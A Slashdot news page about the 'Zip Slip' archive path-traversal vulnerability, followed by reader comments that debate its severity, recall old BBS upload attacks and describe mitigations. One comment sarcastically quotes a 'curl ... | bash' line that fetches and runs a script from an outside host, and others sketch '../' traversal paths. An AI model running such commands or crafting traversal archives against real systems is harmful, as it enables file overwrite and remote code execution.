Slashdot is powered by your submissions, so send in your scoop

 



Forgot your password?
typodupeerror
×
Security Bug Data Storage Software

Zip Slip Vulnerability Affects Thousands of Projects (theregister.co.uk) 127

Yhcrana writes: Considering the video in the story makes it pretty simple, this is not something I would like to have happen. Apparently it is a flaw in the libraries that are being used by Oracle, Apache, and others. The Register reports: "Booby-trapped archive files can exploit vulnerabilities in a swath of software to overwrite documents and data elsewhere on a computer's file system -- and potentially execute malicious code. Specifically, the flaws, dubbed "Zip Slip" by its discoverers at security outfit Snyk, is a path traversal flaw that can potentially be exploited to perform arbitrary code execution attacks. It affects .zip, .bz2, .tar, .xz, .war, .cpio, and .7z archives.

The bugs, according to Snyk, lie in code that unpacks compressed archives, hence the "Zip Slip" title. When software does not properly check and sanitize file names within the archive, attackers can set the destination path for an unpacked file to an existing folder or file elsewhere on a system. When that file is extracted, it will overwrite the existing data in that same path."

Zip Slip Vulnerability Affects Thousands of Projects

Comments Filter:
  • I'm no security expert and even I get the attack after reading it *once*. Imagine injecting alternative userland components into the OS this way. That no one has thought of this yet along with the Spectre and Meltdown shit that has been going on lately makes me wonder what types of trivial exploits we haven't discovered yet.

    Creepy as fuck, that's for sure.

    Gladly the fix is easy: Default exit before override with an appropriate message. No overriding by unpacking whatsoever. Shouldn't take the devs long to i

    • Re: (Score:3, Insightful)

      by Anonymous Coward

      You can't overwrite the userland unless you are root/admin. If you are and you are downloading and extracting random archives before even listing their contents you deserve to have your userland replaced.

      What's next in the security news? `curl https://not-an-exploit.ru/script.sh | bash` being dangerous as root?

      • by Anonymous Coward

        Posting as AC since I already modded.

        THIS! I don't understand how this is a security flaw. The program works as intended (pretty much). You're unzipping an archive that may overwrite any part of your system. If you don't trust the site you downloaded it from, do it as a user other than root. Hell, do it as another user and then switch to root to do the installation and everything. That's the standard practice.

        • by darkain ( 749283 )

          "if you don't trust the source" - as if reputable repositories have never been compromised.

        • The default should be that it only unzips under the extraction target path. Optionally, you can preserve destinations outside of that path - with an argument. The default security should be essentially the same as a chroot.

      • by raymorris ( 2726007 ) on Tuesday June 05, 2018 @09:51PM (#56734720) Journal

        User land is everything that's not the kernel.
        All of your personal files? User land.

        I take it you mean:

        Most of the time, you can't overwrite important system files unless:
        1. You're in the administrator group on Windows
        2. You are root on Linux, using a whitelisted program to alter a whitelisted file in a specifically allowed way
        3. You're root and using a 1993 version of Linux
        4. The last time you looked at SELinux was 15 years ago. 15 years ago, it was inconvenient to use, so you've been turning it off ever since.

    • by Anonymous Coward

      I call bullshit on your being a "security professional".

      Unless you're doing something unaudited as an Admin...how would you "overwrite" parts of the OS?

      Oh...wait...YOU...CANNOT. Sorry...this is some puffery from a wannabe security services firm and you...you are either a shill or an idiot. So...which is it?

      • I call bullshit on your being a "security professional".

        What he means is that he's an Oracle admin.

      • by Anonymous Coward

        I'd guess he's a better at computer security than you are at reading and comprehension.

        I'm no security expert and even I get the attack after reading it *once*.

        You are the only one claiming GP is a "security professsional".

      • Shhh! They've already thought up the brand name for this hack and if you ruin it for them it will risk sabotaging their upcoming IPO!

      • by Anonymous Coward

        Or, test it, zip in linux and tar both trap the attack vector. Its only some crappy librarys that are affected.
        output edited for path's, since it breaks /.'s filter otherwise.

        root@testbox:/home/luser# unzip zip-slip.zip
        Archive: zip-slip.zip
        extracting: good.txt
        warning: skipped "../" path component(s) in ../../tmp/evil.txt
        extracting: tmp/evil.txt

        root@testbox:/home/luser# ls /home/luser/tmp/evil.txt

        root@testbox:/home/luser# tar -xvf zip-slip.tar
        good.txt
        tar: Removing leading '../' from member

        • Or, test it, zip in linux and tar both trap the attack vector. Its only some crappy librarys that are affected.
          output edited for path's, since it breaks /.'s filter otherwise.

          This. The libraries that are affected total some thousands, not all projects that use the os tools.

          This is another good reason to use containers/micro services for random bits of software. Compartmentalise things, particularly when dealing with untrusted, dirty uploads.

    • by msauve ( 701917 ) on Tuesday June 05, 2018 @08:59PM (#56734550)
      Oh, people have thought of it. The issue has been known for years. The only thing that's surprising is that there's still software which allows it, which can only be due to incompetence. Heck, here's a security book [whb.es] describing the vector (directory traversal) dating to 1996, and it was known long before then.
      • by Myself ( 57572 )

        Thank you! Yeah, I remember this back in the BBS days. Some boards would unzip uploaded archives to scan them for viruses or duplicate files, and so they were vulnerable to zip-bombs.

        Various strategies could render the attacks moot; I think the common one was to initially run pkunzip to only list the contents of the zip without actually unzipping anything. If none of the known attacks seemed to be present, the file could then be unzipped and its contents scanned as usual. There were other mitigations, like

    • "to be GDPR compliant at our company" We are proactively firing anyone who is an EU citizen, cutting off any direct business with the EU, and literally "burning the bridges" by setting all paperwork and contracts that mention anything EU on fire in a huge bonfire while we all chant "USA! USA! USA!"
    • by Anonymous Coward

      If you record the raw sound of a fart you can tarball it but manually set the path to /dev/dsp. Then get people to extract it for the fartball exploit. This was one of may favourite tricks in highschool.

  • by tap ( 18562 ) on Tuesday June 05, 2018 @08:15PM (#56734398) Homepage

    I used this to hack a WWIV based BBS system around 25 years ago. Heard about it from somewhere. What you did was place a file with a "..\..\" path into the archive and upload it to the BBS files section. The board would automatically unpack it on upload, or maybe you had to invoke a "download a file from inside a zip" feature on it, my memory is hazy on that. But it would unpack the zip, it would overwrite a executable that was part of the BBS software, and then when it ran that your trojan would run.

    Isn't a press release about this kind of like a press release about the concept of buffer overflow exploits?

    • I know of something similar which happened to a few local BBS's where I lived but the vulnerability was a little different (they ran on Amiga's). Basically, after uploading a file, it would try and extract the file_id.diz file to use to create the file description from. By default, the software just specified the name of the archiver (LHa, LZX, arj, zip etc) and so the software would default to the current working directory which was where the file was saved to. All you had to do was name the file you uploa

      • Man that brings back memories. I ran a "fast" /X (AmiExpress) board back in those days. There used to be some hacker crews that would extort sysops - basically, "pay us protection fee or your BBS could be hacked/formatted next." And I remember wondering years later when ransomware first hit, if any of the authors were from those old hacker crews.

    • Another trick from the dial-up BBS times was to insert a file named "com1:" in the zip archive. When the file was uploaded, the BBS software would unzip the file in order to run a virus scan on the contents before accepting it. The contents of the "com1:" file would then get sent to the modem on com1:.

      The contents were Hayes modem commands that hung up, and then sent DTMF codes to the phone company to redirect the phone number to another number, which happened to be on the other side of the Atlantic. At tha

    • by AmiMoJo ( 196126 )

      This is what happens when you don't properly sanitize file names.

      The other classic one was to use an ASCII 255 character as a space on DOS. College had a Netware network that ran on top of DOS, and we found we could create files and directories that the admins couldn't delete simply by adding an alt-255 character to the file name, usually at the end so it wasn't obvious. Their file management tools helpfully filtered it out so couldn't delete it either.

    • Back in the 1990s, it was trivial to compromise a machine by having a tar file with absolute paths in it, so /etc/shadow got overwritten when the admin decided to untar a "sendmail patch" that he or she was given.

      That attack is still valid today. Untar a file as root, there might be a good chance that an absolute path may be in that file.

  • by Anonymous Coward

    I remember this same thing with PKZIP in the BBS days.

    What's old is new again I guess.

  • Vulnerability? (Score:5, Interesting)

    by mentil ( 1748130 ) on Tuesday June 05, 2018 @08:19PM (#56734420)

    I thought this was standard, expected behavior for archive files?
    Unzip software is supposed to give a prompt that a file is going to be overwritten, to mitigate that.

    • by quenda ( 644621 )

      In Unix, tar does not allow leading "/" or "../" in paths unless over-ridden with the "--absolute-names" option.
      Is Zip not the same? Seems kind of obvious, but apparently some library writers forgot.

      I'd have thought rather than just looking for such characters in a pathname, the restriction would be enforced by a chroot or other mechanism. No?

      • by msauve ( 701917 )
        Maybe we should go back to using .ARC, it avoided the issue by not supporting directories.
      • by AC-x ( 735297 )

        > In Unix, tar does not allow leading "/" or "../" in paths. Is Zip not the same?

        Don't forget that if tar only disallowed leading / and ../ then it would still be insecure, as you could do "newfolder/../../../../etc/" and so on.

        • by quenda ( 644621 )

          Well that would be silly. Try re-parsing that sentence in a way than makes more sense. Sorry for the ambiguity.
          Have some parentheses:

          > In Unix, tar does not allow (leading "/") or ("../" in paths) .

      • As pointed out in another thread, the blocking of ../ didn't work and was only very recently (in terms of tar's life) was fixed. tar was vulnerable to this for a good 25 years.

        • by dargaud ( 518470 )
          How come nobody noticed ?
          • by Anonymous Coward

            Because people skilled enough to use command line tar are skilled enough to do a tar tf first. After having a tarball extract a bunch of junk in your current directory once, every *nix admin learns quickly to do a tar tf first to see if you need to do a mkdir then cd to the new dir before extracting it.

          • How come nobody noticed ?

            Do you routinely maliciously attack yourself? Firstly history is full of examples of big gaping security holes that have somehow been present since the early days of the PC, even in open source software. Secondly what's the use case that would generally expose this flaw to get it noticed? And finally, how big is the risk given that you need to ultimately grant permission for someone to use that software using your current user permissions in order to be exposed to a threat, a risk quite low and thus even if

    • The new way to break into the "security research" market is to brand and report on entry-level system administration pitfalls in an alarmist fashion.

    • by avij ( 105924 )
      You don't need to be able to overwrite files to cause problems. If you manage to add a new evil.conf file to /etc/httpd/conf.d or /etc/pam.d or /etc/sudoers.d with this exploit, you can do anything you want on the system.
    • by AmiMoJo ( 196126 )

      While in theory it's fine, in practice two things tend to happen.

      1. The user doesn't pay attention and if asked answers "yes, overwrite all" because that's what humans are like.

      2. Automated extraction as part of installers and the like often overwrites everything to ensure re-installs work properly.

  • I never unzip a file to any place other than an empty directory on my desktop. All the files go in one spot, no overwriting of anything. From there I do what I need.

    Doesn't matter what it is. If it needs to be unzipped, it goes to an empty spot.

    • I think the "exploit" is that you can have a file in there with a path like ../../etc/blah and they will go outside of your "empty directory".
      • by PPH ( 736903 )

        Only if one unpacks the archive as user root. If I am logged in as some typical user, it's not likely that I have write permission anywhere under /etc. The unpacking process will generate an error and odds are that I'd catch it.

    • I never unzip a file to any place other than an empty directory on my desktop. All the files go in one spot, no overwriting of anything. From there I do what I need.

      Doesn't matter what it is. If it needs to be unzipped, it goes to an empty spot.

      The whole idea of this vulnerability is that some tools don't restrict themselves to the folder that you specify, but put files elsewhere - no matter where you say you want your files to go.

  • Congrats on breaking it, hero.
  • At first glace I thought this was a joke. This 'overwriting of existing files' is how Zip, tar, Arch, 7zip and really any archive works.

    The problem is real but is at a higher level. It is a classic lack of validating user input. Usually filtering out relative path names is enough (the path foo/bar/../../../../../../../etc/rhosts is not a valid location.). Combined with bad operational practices your application is overwriting /etc/passwd and /etc/shadow while processing my_little_brony_avatar.zip.

    Us

    • I don't get it. Where is the lack of validating user input? Why would you filter out foo/var../../../../etc/hosts or whatever? Is there a rule that says that relative path names aren't allowed in archives and archives can only be extracted to subdirectories? Aren't archives supposed to work like they are currently and allow files to be overwritten?
  • Ambient Authority, the design flaw underlying most "modern" operating systems, strikes again.

  • When I am manually un-archiving files, I *always* list out the contents first before actually un-archiving. (tar -tzvf, unzip -l, etc.) And I scan the output for anything that doesn't look right. The main reason I do this is because I have been burned before by assuming the archiver put all the files in a directory instead of just dumping them wherever the archive is located.... then I had to spend time to delete those files by hand to clean things up. But also because I just want to see it before just

  • by Chelloveck ( 14643 ) on Wednesday June 06, 2018 @01:05PM (#56737546) Homepage

    Holy cats, guys! I've found that this same security hole exists in 'mv'!

    mv evil.txt test/../../Documents/Thesis.odt

    How many programs are affected by this?!!?

    P.S. Anyone know how to undelete a file? Plz let me know before Friday!

  • by SuricouRaven ( 1897204 ) on Wednesday June 06, 2018 @02:40PM (#56738206)

    There are two great holes in archive formats, traditionally. This is one.

    The other is the 'zipbomb.' An exabyte of file consisting of nothing but 0x00 bytes, all nicely packed down to practically nothing by the compression algorithm. If precautions are not taken, guaranteed to crash your target be exhausting either memory or disk space.

Never worry about theory as long as the machinery does what it's supposed to do. -- R. A. Heinlein

Working...